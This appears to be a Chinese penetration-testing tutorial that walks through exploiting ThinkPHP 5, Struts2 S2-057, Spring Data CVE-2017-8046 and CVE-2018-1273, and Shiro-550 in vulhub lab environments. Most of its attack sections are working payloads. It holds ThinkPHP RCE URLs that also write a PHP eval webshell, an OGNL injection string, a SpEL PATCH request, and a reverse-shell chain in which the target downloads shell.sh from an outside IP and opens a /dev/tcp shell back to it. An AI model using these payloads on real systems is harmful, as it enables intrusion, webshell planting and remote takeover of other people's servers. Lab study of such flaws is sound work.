【常见框架漏洞】ThinkPHP、struts2、Spring、Shiro

一、ThinkPHP

1.环境配置

复制代码
靶场:
	vulhub/thinkphp/5-rce
	docker-compose up -d #启动环境
访问靶场:http://ip:8080/index.php

2.远程命令执行

执行whoami命令

复制代码
poc:
http://47.121.211.205:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

成功执行whoami命令

3.远程代码执行

执行phpinfo命令

复制代码
POC:
http://47.121.211.205:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

4.GetShell

写入一句话木马到1.php

复制代码
POC:
http://47.121.211.205:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST[cmd]);?>' > 1.php

使用hacker插件执行phpinfo 成功执行说明成功写入木马

二、struts2

1.环境配置

复制代码
靶场:
	vulhub/struts2/s2-057
	docker-compose up -d #启动环境
访问靶场:http://ip:8080/struts2-showcase

2.漏洞验证

访问http://47.121.211.205:8080/struts2-showcase/${(123+123)}/actionChain1.action

发现中间的数字位置进行相加 说明命令被执行了

3.漏洞利用

执行以下POC 可以查看whoami命令执行结果

复制代码
$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

三、Spring

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

1.环境配置

复制代码
靶场:
	vulhub/spring/CVE-2017-8046
	docker-compose up -d #启动环境
访问靶场:http://ip:8080/customers/1

2.漏洞利用

修改请求方法为PATCH 并创建一个success文件(经过ascii码进行转换)

复制代码
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value":"vulhub" }]

3.进入容器查看是否创建成功

复制代码
docker exec -it 容器id /bin/bash

Spring 代码执行 (CVE-2018-1273)

1.环境配置

复制代码
靶场:
	vulhub/spring/CVE-2018-1273
	docker-compose up -d #启动环境
访问靶场:http://ip:8080/users

2.漏洞利用

填写注册信息然后抓包 添加POC信息 创建一个zcc文件

复制代码
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

3.进入容器查看是否创建成功

复制代码
docker exec -it 容器id /bin/bash

4.反弹shell

在服务器创建一个shell.sh文件 文件内容为反弹shell的命令

复制代码
bash -i >& /dev/tcp/47.121.211.205/8888 0>&1

在注册页面抓包 然后让靶机远程下载我们编辑好的shell.sh文件

远程下载shell.sh脚本命令

复制代码
/usr/bin/wget -qO /tmp/shell.sh http://47.121.211.205/shell.sh

查看shell.sh是否被下载

执行脚本文件

复制代码
/bin/bash /tmp/shell.sh

监听端口

复制代码
nc -lvvp 8888

成功反弹shell

四、Shiro

Shiro rememberMe反序列化漏洞(Shiro-550)

1.环境配置

复制代码
靶场:
	vulhub/shiro/CVE-2016-4437
	docker-compose up -d #启动环境
访问靶场:http://ip:8080

2.漏洞验证

使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;

看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架:

3.漏洞利用

使用工具进行命令执行

成功执行whoami命令

相关推荐
FQNmxDG4S2 小时前
Java多线程编程:Thread与Runnable的并发控制
java·开发语言
虹科网络安全3 小时前
艾体宝干货|数据复制详解:类型、原理与适用场景
java·开发语言·数据库
axng pmje3 小时前
Java语法进阶
java·开发语言·jvm
rKWP8gKv73 小时前
Java微服务性能监控:Prometheus与Grafana集成方案
java·微服务·prometheus
老前端的功夫3 小时前
【Java从入门到入土】28:Stream API:告别for循环的新时代
java·开发语言·python
qq_435287923 小时前
第9章 夸父逐日与后羿射日:死循环与进程终止?十个太阳同时值班的并行冲突
java·开发语言·git·死循环·进程终止·并行冲突·夸父逐日
小江的记录本3 小时前
【Kafka核心】架构模型:Producer、Broker、Consumer、Consumer Group、Topic、Partition、Replica
java·数据库·分布式·后端·搜索引擎·架构·kafka
yaoxin5211234 小时前
397. Java 文件操作基础 - 创建常规文件与临时文件
java·开发语言·python
极客先躯6 小时前
高级java每日一道面试题-2025年11月24日-容器与虚拟化题[Dockerj]-runc 的作用是什么?
java·oci 的命令行工具·最小可用·无守护进程·完全标准·创建容器的核心流程·runc 核心职责思维导图
用户60648767188966 小时前
AI 抢不走的技能:用 Claude API 构建自动化工作流实战
java